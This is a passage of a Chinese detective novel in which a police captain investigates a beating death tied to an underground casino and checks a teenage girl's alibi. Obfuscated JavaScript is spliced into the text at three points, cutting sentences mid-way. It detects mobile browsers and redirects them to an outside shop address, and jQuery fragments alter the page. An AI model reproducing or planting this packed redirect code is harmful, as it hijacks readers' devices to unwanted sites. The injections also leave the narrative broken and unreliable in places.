“死者的死因是外力击打导致的脑损伤,也就是说,死者很可能不是当场死亡。”
程晓蔓说着,翻开另一张照片,“头部伤痕与你们使用的钢管形状一致,现已确定,就是这道致命伤。”
谈笑的脸色倏然变了。
“还有,在案发现场附近发现了这个。”
程晓蔓拿出证物袋,里面是个沾满血的钱包,男士款式,“上面检测出了死者的血迹和你朋友的指纹。是死者的钱包吧?”
谈笑低下眼睛,沉默不语。
“这小王八蛋,到这时候了,还想着怎么狡辩呢。”
玻璃窗外,李成植在桌上烟灰缸里摁灭了烟,喃喃自语道。
“这种小混混不都这样吗,满嘴谎话,一肚子坏水。”
声音来自身边的同事,韩磊,上个月刚从长虹区分局调来的的副队长,李成植曾经的老搭档。
“这小子三进宫了,该不该招、什么时候招、招点什么,都琢磨出经验来了。现在他肯定在想,该怎么往其他几个身上推。”李成植掏出烟盒,“来一根?”
韩磊摆摆手,“不了不了,那四个都要烟,我各陪了一根,嗓子吃不消。”
“都问完了?”李成植问。
“粗审了一遍,跟这小子说得大差不差,看到证据没法抵赖,就说只是教训一下他偷东西,没想杀人。老李,”
韩磊看向他,问道,“算过失还是……”
“说不准,我总感觉他们的动机怪怪的。”李成植沉吟着,说道:“分开审,用不了半天,就会有人漏口风。”
韩磊:“交给我吧,你知道,对付这种人我很有经验。况且和写报告相比,我宁可干这个,哈哈。”
李成植苦笑着拍了拍他的肩,“报告先我不急着写,去一趟飞天网吧回来再说。”
“那儿还有什么疑点吗?”
“光靠这么个小网吧,可供不起这几尊佛。”
李成植拿出手机,给何骐发了条短信喊他出来,接着道,“网吧里可能还有别的‘货’。”
15. 地下赌场
来到案发地的巷子口附近,李成植将车停在路边,与何骐步行到飞天网吧。
网吧门口贴着一张时间表,显示营业时间为下午3点至次日凌晨5点。
此刻处于该时段内,然而因为营业员被杀、老板等一众股东都是嫌疑人,网吧的铁门紧闭,看起来很是萧条。
何骐拿出钥匙开门,一股隔夜的烟味和汗臭味扑鼻而来,呛得他皱起眉头,赶忙去摸门边的电灯开关。摁了几下毫无反应,他望向李成植:“师父,好像跳闸了。”
李成植掏出手机,打开手电筒,走了进去:“不要紧,看看再说。”
这是一家老式网吧,同时运行大量高功耗设备,且这栋建筑已超二十年,基础设施落后,线路老化,多种原因导致电路跳闸是常有的事。
店内共有32个座位,构成两排式面对面布局,每个座位用三合板隔开,各配一台电脑。
手电筒的光照向每张桌面,基本都能看见被烟头烫过的痕迹,有些还残留着烟蒂和卷成一团的卫生纸。
李成植举着手机缓步前进,视线在号码牌上一一略过。
他在10号桌旁停了下来。这张桌面跟其他的好像不太一样。
李成植弯下腰,将手电筒靠得近些。
他发现,这张桌子比其他所有的都干净得多,没有烟蒂,就连灰尘都几乎看不见。
就像每天都有人特地打扫似的。
奇怪。他嘀咕了一句。
身后忽然传来何骐的声音:“师父,这有地下室。”
“来了。”李成植站起身,快步走过去。
穿过狭窄的楼道,二人面前是一扇紧闭的房门,插销上挂着把锁。
“有钥匙吗?”
“没。”
“那撞吧。”
随着“咚”的一声,插销被撞断,房门应声而开。
“我的妈呀……”
看着手电筒照亮的屋内状况,何骐不禁瞪直了眼,“还有意外收获……”
李成植拿着手机往楼梯上走了几步,确认信号恢复四格后,拨了韩磊的电话。
“喂老韩,你还在审吧?嗯,我们有新发现,这网吧涉赌。”
“对,你往这个方向问……我猜测死者不是因为偷东西这么简单被打的,很可能跟赌场有关。”
“有事再联络。”
放下手机,李成植走回地下室。
这是间五十平左右的密室,比楼上网吧还要大一圈,地上铺有深咖色条纹的地毯。
正中间是一张可以坐下十个人的长桌,桌面散落着纸牌和圆形筹码。
一个酒吧样式的条形吧台安置在桌旁,后面的壁橱上放着各式各样的酒瓶,有些已经空了。李成植不喝酒也不认识酒的品牌,但那些鬼画符似的英文标签,足以暗示其价格不菲。
他还注意到,地面上有几个碎掉的空酒瓶,玻璃渣崩的到处都是。
“师父,您来看看。”
李成植走过去,顺着何骐手电打的光圈,他看到牌桌一角散落着许多筹码,还有几张百元大钞被压在椅子下面。
环顾四周,好几张皮椅都散架了,歪斜着倒在地上。
跟这家地下赌场精致奢华的做派相比,显得很突兀。
“这好像发生过打斗……?”何骐喃喃道。
“就是昨天晚上的事,”
李成植抬起脚尖,踢了踢碎的只剩半拉的酒瓶,“酒味还没散干净。”
如果金振宇被群殴不是因为偷东西,而是因为他导致赌局崩坏,或者这场斗争就由他引起……
那就说得通了。
想到这,他直起身:“走,回局里喊人来查封。”
二人走上楼梯,穿过电脑桌之间的甬道时,李成植的电话响了。
是韩磊打来的。
“老李,被你说中了,这几个臭小子一听说我们发现了地下赌场,直接就招了。”电话那头,韩磊语速飞快。
“谈笑也招了?”
“对,没得辩了,就说不是他动的手,是其他四个人干的,他只起了个头。”
“猜到了,现场没有监控,他肯定会想尽办法推脱。其他人怎么说?”
“狗咬狗咯,互相指证是其他人下手重打死的,总之没人认。”
“有说为什么要打金振宇吗?”
“赌场突然断电乱了套,很多赌博客趁机拿了押金和赌注跑路,负责管理的金振宇不在岗位,也没去修电闸,等人都跑光了,谈笑他们才在厕所里找到他。”
“厕所?”
“对,还是女厕。”韩磊发出嘲弄的笑声,“所以谈笑才那么生气,把人拖到巷子里群殴。”
“金振宇有没有解释原因?”
“他说有人约他在厕所见面,但是把门反锁了,他出不去。其他人都认为他在狡辩,其实是躲在里面□□,因为金振宇有骚扰顾客的前科,也多次表示过想找小姐但兜里没钱。”
“这样啊……”李成植陷入沉思。
“这点应该是真的,几个人证词几乎一样,没有串供的机会。”
“可他们之前都咬定金振宇是因为盗窃才挨打?”
“这个也招了,谈笑早就跟他们约定好:如果被打的或路人报警,警方问起来,就说成偷东西,省得麻烦。”
“他们担心赌场被警方发现。”李成植说。
“是这样没错,但现在都暴露了。对了,小程把死者的档案整理好了,等会儿她直接发到你手机上,我已经看过了,”说着,韩磊停顿了一下,接着道:“里面有个东西,你说不定会在意。”
李成植:“是什么?”
“你自己看吧。”
挂了电话,何骐在卷帘门旁向他示意:“我去开车,您在这等我一下。”
李成植应了一声,倚靠柜台站着,一边环视昏暗的室内环境,一边在脑子里思考回去之后要写的报告内容。
他看了眼手机,程晓蔓的短信还没收到,可能是文件内容较大,传输速度降低。
忽然,他灵机一动,想到还有个地方没查。
柜台后面有一间杂物室,推开杂物室的门,电箱正挂在墙边。
这是一座老式电箱,看起来跟这栋建筑是相同时代的产物。
电箱整体被铁盒包裹,盒子表面大部分已经锈蚀,内部装有机械式电表,通过转盘的转动计量用电,旁边的指示灯熄灭,表明整个线路此刻处于断电状态。
李成植将手电向下移动,照亮了位于底座的开关电器和保险丝。
这种老式电箱一般采用插入式保险丝,也就是俗称的“开放式保险”,熔丝由一段金属丝固定在螺丝间,熔断时需手动更换。
果不其然,金属丝之间的熔丝已经断开,看来这就是昨晚网吧跳闸的原因。
当李成植的视线落到熔丝的断口处时,他皱起了眉头。
一般情况下,保险丝熔断后,因表面张力的原因,两端残留的熔丝可能收缩成金属小球,底座或螺丝周围也会出现黑色烧焦痕迹。
但眼前这根熔丝仍保持金属原色,并没有氧化痕迹,周围也没有高温烧焦或熔渣。
真奇怪,会有这种情况吗?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944435|192971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
李成植陷入沉思。
上学时,他的理工科成绩普通,对这种需要一些物理知识来解释的生活现象,他几乎没有概念。
这时,手机响了。
李成植打开一看,屏幕上显示来自程晓蔓的信息,写着如下内容——
【李队,我跟金振宇的家人联系上了,他父母在上海打工,会乘最近一班火车赶过来。】
【死者档案已整理好,一并发送。】
随之传过来的,是一份电子文件。
李成植点开文件,匆匆浏览了一遍。他记着刚刚韩磊通话里说的,“令他在意”的东西,感到很好奇。
很快,他翻动页面的手指停了下来,落在该页的最后几行字上:
【2010年1月29日,与另三人实施抢劫,导致受害人心脏病发死亡。】
【金某被判有期徒刑2年6个月,羁押于榆州市未成年犯管教所,业已释放。】
【该案记录为‘129建业路未成年过失杀人案’。】
***
“李警官?”
听到有人喊自己,李成植从记忆中回过神。
面前站着一个身穿蓝白色校服的女学生,正微微仰头望向他。
一年多没见,她似乎没什么变化,但也许是增强了体育锻炼的原因,她的脸色比以前红润一些,胳膊和小腿也更加结实有力。
“好久不见。”女学生向李成植微笑着打招呼。
“是啊,上次见面你还是初中生,现在已经顺利考上榆中了,怎么样,高中生活还习惯吗?”
“都挺好的。”
说着,女生转向站在几步外的一个丸子头女生,说道:“怡宁,你先回去吧,我有事情要等一会。”
丸子头女生好奇地打量了李成植一眼,然后转身回到馆内,看起来是她的朋友。
两边都是来来往往学生,说话很不方便,二人便沿着林荫道向后山的方向走去。
“您呢,工作还顺利吗?”女生边走边问道。
“老样子,警察嘛,就整天跟犯罪分子勾心斗角个没完呗。”
“听我表哥说,您现在是市公安局刑侦一队队长,真厉害。”
李成植回忆起来,她的表哥跟自己是同行,在长虹区某个派出所工作,便答道:“哪里,混口饭吃而已。我这把年纪也没什么特长了,不像你们还年轻,是充满希望的未来之星啊。”
女生脸上浮现出含蓄的笑意,顿了一会后,她问道:“李警官这次来找我,是有什么事吗?”
“嗯,也不算很重要的事。”
李成植露出苦笑,抓了抓后脑勺:“周六晚上发生了一起恶性案件。”
女生抬起头,表情变得严肃起来。
“有个男的,小混混,在长虹三中旁边的网吧门口被人用钢管打死了。”
“是……杀人案?”
“没错,而且嫌疑人已经被抓到了,共有五个人。”李成植说,“这么多,很夸张吧。”
“都是些什么人?”女孩担忧地问,“为什么做出这么可怕的事?”
“嫌疑人也是一群小混混,跟死者算是同事吧,因为工作纠纷的关系,拿钢管群殴了死者,直接导致死者死亡。”
女生沉默了,似乎是在思索这个李成植简单的话语中蕴藏的信息。
“可是……”她再度开口,语气略带疑惑,“您为什么会专程来告诉我呢?”
“死者叫金振宇。”
李成植停住脚步,回头注视着她的反应,“我想,你应该记得这个名字。”
16. 不在场证明
刹那间,女生的眼睛睁得滚圆,表情失去了平衡:“是……是那个人?”
“没错,”李成植点了点头,“是你母亲案子的嫌犯之一。”
女生没有接话,陷入了沉默。
过了一会,她低着头,声音听起来很苦涩:“谢谢您专程来告诉我。不过对我来说,已经没有意义了。”
“为什么这么说?”
“您认为他得到惩罚了吗,如果只是从法律的层面?”
“法院已经判了两年六个月的有期徒刑。”
“真的……够吗?”
女生提出的问题十分犀利,令李成植一时难以正面回答,只得叹了口气。
“在杀人的罪责面前,他只承受了不到千分之一的惩罚,出狱后也没有洗心革面重新做人,那不就证明,对他的惩罚其实没有意义吗?”
看到她的状态,李成植有些犹豫。但他还是下定了决心,开口道:“这个话题不谈了,我今天来,还有些事要问你一下。”
“您请说。”
“这周六晚上九点到十点之间,你在哪里?”
听到这个问题,女生倏然抬起头,满眼都是不可置信:“您为什么这么问?难道是怀疑我吗?”
她的反应在李成植的预料之中,很少有人在面对警方提出疑似不在场证明的问询时能保持冷静,何况她还只是个未成年的高中生。
“你不要害怕,就是走个流程,”李成植耐心地解释道,“如果同一案件的两名嫌犯出狱后先后死亡,在递交结案报告时会受到质疑,所以为了以防万一,我们要把所有材料都备齐。”
“哦,是这样……”女生垂下眼帘。
李成植担心她有心结,又安慰道:“案件已经基本定性了,如果没有意外,会以聚众斗殴致死结案。就像我刚刚说的,我们只是需要走完流程,产出报告就行。”
女生露出会意的表情,轻声说道:“我在家里,跟家里人一起看电视。”
“九点钟还看电视吗?”
李成植感到意外,他原以为,按照目前国内的高压教育环境,高中生放学回到家都有写不完的作业,没有多少娱乐休闲的时间。特别是这种好学校的尖子班学生,竞争更加激烈残酷。
“是的,因为周六晚上有比赛,世界体操锦标赛女子全能决赛,我们就一起看了。”
“‘我们’,是你的姑妈姑父吗?”
“不,姑妈和姑父周六晚上都不在家,是我跟表哥看的。”
“原来如此。”李成植点点头,同时从口袋里掏出了那本旧笔记本,“是从几点开始的?”
“八点,到十点结束。”
“然后呢?就回去休息了?”
“是的,那天下午我有体育活动课,很累,所以睡得早。”
李成植再次点头,将刚刚的对话记录下来,说道:“你涉猎很广泛啊,又是网球又是体操,以后打算发展体育特长吗?”
“只是喜欢看罢了,充其量算兴趣爱好。”
李成植收起笔记本,想了想,又饶有兴致地问了一句:“那场比赛精彩吗?中国队有没有拿奖牌?”
“很精彩,冠军是美国队,中国队没获奖。”
“哦,可惜。”李成植说,转头望向已经走出去快200米的体育馆,那里正有大批的学生往外走,很多人身上还背着书包。
“他们怎么出来了?”李成植指着那群学生,问道。
“快下课了,他们准备直接去校门口赶校车,不回教室了。”
“你过会儿是不是也要回家?也坐校车?”
“嗯。”
“那我送你回去吧,刚好我开了车。”李成植拍了拍裤子口袋,那里面放着公车钥匙,“而且,我也想看看你姑姑和姑父,也是一年多没见过面了。”
那一瞬间——出于多年警察的直觉,也可能是错觉——身旁的女生的表情似乎僵住了。
但眨眼后,这感觉便像泡沫般消失了。
女生露出了一如既往的,含蓄的笑容,轻轻点了点头:“好的,那麻烦您了。”
四十分钟后,他们来到了位于长虹区245号的汇芳家园小区。
地址跟上次来时一样,从二号楼的门洞里进入后,向上走到301室。
李成植一边爬楼,一边问道:“家里现在几个人啊?”
“姑姑姑父应该已经到家了,表哥可能还在路上。”女生拿出钥匙,插入门锁。
随着咯吱一声,房门打开了,里面亮着灯,客厅传来电视播放综艺节目的声音。
“回来了?”与客厅反方向的厨房里,有人高声说道,“去麻将馆,老板娘打电话来说送节礼,有二十个肉包子,你赶紧去拿回来,昊俊等着吃呢。”
“姑妈。”女生站在门边,“有客人来。”
“啊?”
厨房传来脚步声,很快出现了一个中年女人的面孔,李成植记得,这是上次给他开门的那个。
“哦你是……”中年女人说着,很快便因为想不起对方的姓氏,表情变得尴尬起来。
“是李警官,去年来过的。”女生提醒道。
“哦对对对,瞧我这记性!您快请进。”
李成植脱下鞋子,换上对方拿来的拖鞋,寒暄了几句进入屋内。
客厅里的电视关掉了,有个秃顶的中年男人从沙发上起身,向他打招呼。
“是准备吃晚饭了吧?不好意思,在这时候打扰。”李成植注意到,餐厅的桌上已经摆好了三菜一汤,以及四个空碗。
“哪里的话,我们高兴还来不及呢,这都多久没见了。”
姑妈客套着,把盛了茶水的杯子放在茶几上,见对方抬着头四处打量,便将视线投向了站在一旁的女生。
李成植明白她的意思,主动说道:“其实也没有别的事,就是有些情况想了解一下。”
“没问题,您尽管说。”话虽如此,姑妈脸上依然满是疑惑。
“听曲南星说,两位周六晚上都不在家?”
“是啊……有什么问题吗?”
这个问题明显让她更加困惑了。
“没什么,就是问问情况。两位去哪里了,大概多长时间,方便说一下吗?”
“我俩打麻将去了,下午吃完饭出门,第二天早上回来。”
“打了个通宵吗?”
“啊对,我们每周六晚上都会去打麻将,好几个朋友都约好了。”
“是附近的麻将馆吗?开在小区里面?”
“不不不,附近没有麻将馆,在古城路那边,走过去大概四十分钟。”
“原来如此。”
想到进门时姑妈的吩咐,李成植不由得将视线转向女生,她正安静地坐在角落的单人椅上。
可怜的孩子,跟去年一样。他心中生起一阵同情。
“那个……”姑妈的语气透着不安,“为什么问我们这个?”
这时,玄关处传来钥匙转动的声音。门再一次被打开,有人走进来。
李成植站起身。
“是我儿子,陈昊俊。昊俊啊快打招呼,这位是李警官。”
进来的是个二十五岁上下的年轻男人,他体格偏胖,长相普通,穿着短袖衬衫和西装裤,手上拿着一个公文包。
听到李成植的职业时,男人露出了惊讶的表情,随即将视线转向坐在角落里的女生。
这个下意识的举动令李成植感到奇怪。
“你好,免贵姓李,咱俩应该算是同行。”李成植向他伸出了右手。
男人似乎有些紧张,他先试图用拿着公文包的手去接,发现不对后,又连忙换成了左手。
“你,你好。”
握手后,他木在那里一言不发。
李成植暂且理解为是下班时间遇到领导的手足无措,就算是非直属的也够呛,这一点,他年轻时深谙其道。
“既然人来齐了,我就直接明说了吧,这次打扰各位,主要是因为一起案件。”
“什么案件?”女生之外的屋内其他三人异口同声道。
李成植将上周六发生的□□群殴致死案向他们讲述了一遍,省略了细节,并在最后说明,死者为129案件的四名案犯之一。
“但是……□□斗殴为什么要问我们周六在哪?”姑妈提出了理所当然的疑惑。
“因为另一名案犯也在近期死亡——就是去年冬天的时候
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944436|192971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,所以要把所有可能性排查清楚,这也是为了写报告考虑,麻烦各位了。”
“哎呀没关系,反正咱们没犯事,不怕问。”姑妈的脸色终于放松下来。
李成植拿出纸笔,向表哥问道:“周六晚上九点到十点半之间,你在做什么?”
听到这个问题,男人睁大了眼睛。
“看,看电视。”卡壳了两秒钟后,他像回过神来似的,有些紧张地答道,“看体操世锦赛。”
“是独自看的吗?”
“不是,”他看向女生,“跟我表妹一起看的。”
证言契合了。李成植点点头,“那么,你们全程都在一起吗?”
“是的,我们一直看到比赛结束。”
“比赛几点结束?”
“十一点。”
“那就没有什么问题了。”李成植将笔记本塞回口袋,拍了拍表哥的肩膀,“我说了没什么事,不必紧张。”
“啊……”对方咧了咧嘴,表情有点僵硬,大概是生平第一次接受案件询问,感到恐慌也合情合理。
访问到这里就结束了,李成植向这家人告辞,走到门边准备离开。
姑妈不顾劝阻,执意帮他从鞋柜里拿脱下的鞋子,等到李成植弯腰系鞋带时,在旁边说道:“李警官啊,我想打听个事儿,您方便不?”
“不用客气,请直说。”
“派出所辅警能不能调任到市局啊?或者不用市局,区分局也行。”
说着,她把缩在边上的儿子抓了过来,“您看我儿子,有机会不?”
李成植站起身,心里多少明白了点,“他是辅警?”
“对啊,我们觉得没什么发展前途,正发愁呢。您是市局领导,办法多,能不能帮忙照应照应?”姑妈的眼睛都亮了起来,“那咱家可真太感谢了!”
李成植坦言道,“比较困难,辅警跟民警的晋升机制不一样。但是……”
他指了指玄关的摆件,那上面有一个相框,是这一家三口的合照。
照片里,三人比出耶的手势,旁边立着刻有“榆州市警官学院”字样的石墩,看样子是在校门口拍的。
“他是榆警毕业的吧?跟我是校友,真巧啊。”
姑妈愣了一下,没接话。
“可以参加每年的事业单位统一招聘,榆警有很多名额。”李成植说,“让他尝试着考考看。”
屋内三人的表情都发生了变化,似乎李成植的话点燃了某根他看不见的引线。
“那个,我儿子不是这学校毕业的。”姑妈显得很尴尬,眼神躲开了,“他大专,只是在那边培训。”
“啊……抱歉,我理解错了。”李成植也很尴尬。
此地不宜久留,说再多只会让气氛更尴尬,李成植匆匆道了句再见。
“我送送您。”女生不知何时来到了门边,说道。
“不用了,就不打扰你们吃晚饭了。”
李成植关上门,向楼下走去。
秋天太阳落山的早,六点半左右,天就全黑了。
李成植环顾四周,小区里的路灯都亮了起来,是时候该回去了。
一边走着,他在脑子里把案件整个捋了一遍,认为除了群殴致人死亡之外,没有其他的解释,等明天跟受害人家属谈过之后,就该结案了。
比起案件本身,李成植更放心不下的,是那个寄人篱下的孩子。
不知道她吃上饭没?该不会还要先去麻将馆拿包子吧?想着想着,李成植不禁回过头,远远望向2号楼的位置。
从这个角度,理论上能看见三楼房间透出的灯光。
他的脚步停住了。
三楼,301次卧的位置,没开灯。
他再度确认,没错,就是那女生住的房间。此刻,窗户上漆黑一片,看不见室内的情况。
可是他明明记得,刚来的时候,那个房间是亮着灯的。
没道理他一走就把灯关了,如果因为吃饭不去房间的话,那早就应该关掉了,而且现在还是晚上。
李成植脑海里浮现出一种想象,这个想法令他生起不祥的预感,整个人顿在原地:
有人关了灯,在窗户后面看着他。
17.办公室问询
跟死者家属约定的见面时间是早上九点。
李成植提前半小时来到警局,却被告知约谈的人已经来了,在询问室等他。
“家属情绪怎么样?”在路上,李成植向同行的程晓蔓问道。
“还算稳定,距离被告知死讯已经过去48小时了,”程晓蔓说,“而且昨天去确认尸体,应该已经接受现实了。”
“但愿吧。”
推开门,屋内正中间摆放着一张椭圆形会议桌,桌边坐着一男一女两个人。
两人的年龄在四十岁左右,但看起来比同龄人苍老不少。
女人伏在椅背上低低啜泣,男人则正在竭力安抚,尽管他表面平静得多,但头顶扎眼的白发和眼睛下方乌青的眼袋都是不争的事实。
见警察来了,二人没有动,只默默抬了抬头。
“两位,很不幸发生这种事。”程晓蔓在对面坐下,将纸笔铺开,“但是因为案件需要,还是得请两位帮忙,协助我们调查。”
女人的抽泣声更大了,男人则点点头,嗓音沙哑地说了一个字:“好。”
“二位跟死者金振宇的关系是?”
“父母。”
男人皱起眉,不知是对“死者”这个词感到难受,还是反感这个充满流程式的问题。
“二位是从上海坐火车赶过来的对么,所以,金振宇平时不跟你们住在一起?”
“我儿子跟他爷爷奶奶过,我跟我老婆在上海打工,春节放假才回家。”
“如果可以的话,方便让爷爷奶奶一起过来吗?可能有一些问题需要他们回答。”
金父面露痛苦:“他们知道小宇出事之后,突发脑中风住院了,现在还在抢救。”
毫无疑问,孙子的死亡对两位老人带来了巨大的打击。
李成植放下笔,提出了第一个问题:“周六金振宇一整晚都没回家,爷爷奶奶有没有联系你们,或是喊熟人帮忙找人?”
“小宇已经好多天不回家住了。”金父叹了口气,“我爸妈稍微多说几句,这孩子就大发脾气说要断绝关系。”
一旁哭泣的女人猛然抬起头,脸上满是泪痕,哽咽着恨声说道:“都怪你爸妈!好好的孩子给他们宠坏了!”
“呵,你没宠他?他把课本撕烂的时候,是谁拦着我不让揍,是谁说孩子不想读就别读了?”金父语气也变得激烈起来。
金母捂着脸放声大哭,“要是没把孩子留在这就好了”、“当初就不该跟你过”,零零碎碎的句子从她紧密的指缝间飘了出来。
“人都死了,还扯这些有什么用!”金父说道,脸涨得通红。
在女人的哭声中,程晓蔓保持冷静的声音响起,“金振宇的那些‘朋友’,您认识吗?”
“什么朋友,就一群狐朋狗友!我不认识,要是知道他跟那种人搭上关系,就算打断腿也要把他带在身边。”
“警察同志,”金母泪眼婆娑地望着程晓蔓,“你电话里说,我儿子是被人活活打死的,是他那群朋友干的吗?”
程晓蔓看向李成植,得到对方眼神示意后,答道:“目前线索表明受害人死于殴打,但案件还处于调查阶段,后续如果有进展,我们会第一时间向您反馈。”
“我们受害人父母连知情权都没有吗?我就想知道是谁干的,求你告诉我,我求求你了!”金母情绪崩溃,没等说完就再度嚎啕大哭。
“实在抱歉。”程晓蔓低下了头。
“别哭了!”金父低吼,“我早就说了,他不成器,再这么鬼混下去迟早出事!”
不料,金母哭得更加撕心裂肺。
金父长长地叹出一口气,似乎耗尽了力气,“我早猜到会有这么一天了。”
他用梦游一般的声音呓语道。
李成植问道:“很冒昧这么问,但是……金振宇去年从少管所出来之后,有没有提过那期间的事情?”
“他说很苦很无聊,但是在里面认识了很多大哥,还说答应出来之后带他一起搞钱。”
说着,金父露出苦笑,“警察同志,那时候我就知道这孩子废了,他根本没有一点悔过之心。”
李成植记笔记的手停住了,脑海中,某段记忆如解冻般渐渐复苏。
是在去年冬天,那个叫曲南星的女孩曾说过相似的话:
“您认为,她出狱后有悔过之心吗?”
***
榆州中学位于长虹区南边的大学城外,附近有两所大学,每到中午时段,以学生和家长为首的人流量都颇为可观。
将车停在保安指定的区域后,李成植出示了证件,这才得以进入校园。
现在对于大学生来说是午休时间,但对于争分夺秒的重点高中的学生而言,是午间自习,又称为作业课。
李成植向保安询问位置后,便向教学楼的方向走去。他的目的地是高一年级,确切来说,是高一(7)班的班主任办公室。
走上三楼,楼道里空无一人,明明教室里都是学生,四周却鸦雀无声,这令李成植感到一丝记忆深处对学校的恐惧,不由得缩了缩脖子。
“请进。”
敲门后,里面传来回应。
办公室内共有三名老师,都坐在各自桌前,低头批改着作业,其中一名老师旁边还有个女学生,看样子是在帮忙抄录分数。
“是蒋老师吗?您好,免贵姓李,刚刚通过电话。”
“对对,您好。”女老师连忙起身致意。
李成植环顾四周,“如果方便的话,可以出去谈吗?”
女老师面露难色:“过会儿教务处来检查,可能走不开……”
“那好,我们声音尽量小一点吧。”
女老师会意地点点头,刚刚她没有直呼对方的职业,大概也是出于这个原因。
所幸她坐在最里面,工位之间还设有隔板,其他人如果不刻意留神,很难听见这个角落的低语。
“正如电话里跟您沟通的,我想了解一下,曲南星是个什么样的学生?”
“她是我班上的学习委员,她成绩很好,是优等生。”
“那么,性格和人际关系方面呢?”
“这孩子的性格很孤僻……也不能说是孤僻,用‘冷淡’来形容更恰当。”
班主任思考着,谨慎地回答道:“她很少主动跟人交往,总是安安静静地做自己的事,说实在的,作为老师,很喜欢这种学生。”
“我能理解,”李成植点点头,“她有什么要好的朋友吗?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955351|192971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“有个叫方怡宁的女生跟她关系很好,两人是从小学开始的同学,算发小。至于其他人……好像没有关系特别亲密的。”
李成植脑海中浮现出体育馆前那个扎丸子头的女学生。
“我跟曲南星谈过话,”班主任叹了口气,“这孩子真的很可怜,她妈妈的事情……您应该了解了。”
“我知道。”
“她现在住在姑妈家里,但家庭关系似乎并不怎么融洽。”班主任流露出怜悯的神色,声音压得更低,“她这个性格,跟生长环境脱不开关系。”
“关于她姑妈家的情况,您知道多少?”李成植问。
“不多,只在开学家访时去过一次,她姑妈在生活上要求很严格。我听说,她在中考前一天还要帮家里人值班,我当时就觉得,这家人有点不近情理……您认为呢?”
“嗯,这些我也略有了解。”
李成植一边听,一边快速记录。“曲南星每天都会按时上下学吗,我是说,最近有没有迟到早退,或者旷课?”
“没有,我刚也说了,她是个循规蹈矩的好学生。”
“她的成绩在班上排名多少,前十么,还是前五?”李成植不禁好奇。
“是第一名。”班主任眼中流露出骄傲的光彩,“上次月考班级排名第一,年级第四。”
“那确实很厉害。”
“不好意思……”
沉默了几秒钟后,班主任注视着他的笔记本封皮,有些在意地问道:“您电话里只说想了解这个学生的情况,但是没有告诉我原因。”
“啊这样。”
李成植合上笔记本,迎着女老师的目光,表情不知何时变得严肃起来:“告诉您也无妨,但事关学生的名誉,希望务必保密。”
班主任连连点头。
“我的辖区内发生了一起杀人案,死者是曲南星母亲那个案子的犯人之一。”
闻言,女老师睁大了眼睛,嘴巴也张成了O型,刚想说什么,办公室门边的位置传来另一个老师的声音:“班长,你这边抄错了,哎呀还好发现得早,不然你这一条顺下去全错了。”
她抬头越过隔板向那边张望一眼,然后给李成植比了个ok的手势,接着道:“您不会是怀疑我的学生吧?这绝对不可能!”
“不不,你别紧张,目前没有任何证据表明跟曲同学有关,我这只是例行公事的调查。”
班主任这才松了口气,拍了拍胸口,道:“吓死我了……杀人案,怎么可能啊,她只是个小姑娘……”
她把头转向李成植,表情好奇又严肃:“犯人抓到了吗?”
“很抱歉,具体情况无法向您透露。不过,也快结案了。”
“那就好……”
李成植将本子和笔收进口袋里,站起身,说道:“不好意思打扰老师工作,无论如何,请对我们的谈话内容保密。”
从办公室出去的时候,李成植听见门边那位老师再次说道:“怎么又写错了,你今天怎么回事呀?是不是昨晚没睡好?”
他回头望了一眼。
被批评的女生小声说着抱歉,她坐在老师对面,背对着门,只能看见一个梳着齐肩短发的背影。
李成植打开门走了出去。
18.举报电话
在派出所楼下抽完第三根后,李成植用鞋底碾碎烟蒂,抬起头,终于看见了自己要等的人。
对方显然没料到会在这个地方碰面,先是停住了脚步,随即惊讶地睁大眼睛。
“李……警官?”
“下午好啊,今天天气真不错,比昨天凉快多了,你说是吗?”
身穿辅警着装的年轻人表情有些迟疑,又看了看李成植停在路边的车,似乎在确认有没有其他人同行。
“我刚刚进去过,你同事说你不在,下午四点半之后才来。”
“今天我值晚班,四点半才开始。”年轻男人挠了挠后脑勺,“那个,我能先进去签个到吗?”
“当然没问题,请便。”李成植让开道路。
又过了五分钟左右,陈昊俊的身影才从玻璃门内显现,根据其脚步速度判断,他对于这次谈话并不情愿。
等人走到跟前,李成植没有直奔主题,而是闲聊了起来:“你们派出所居然在这栋老楼里,刚来的时候我都吓了一跳,不敢确认呢。”
他抬头张望着,“看起来很破旧啊,是不是很多年没修缮过了?”
“其实这是三年前市政府重新分区时新设立的派出所,只是选址在这地方,显得年代比较久远。”
“原来如此,”李成植点头,喃喃道,“我之前也是长虹区的,但是很少到这附近来,所以不怎么熟悉,让你见笑了。”
“可能……我们附近比较太平,没出过刑事案件。”
李成植转过头,看着陈昊俊:“听你妈妈说,你想调岗?”
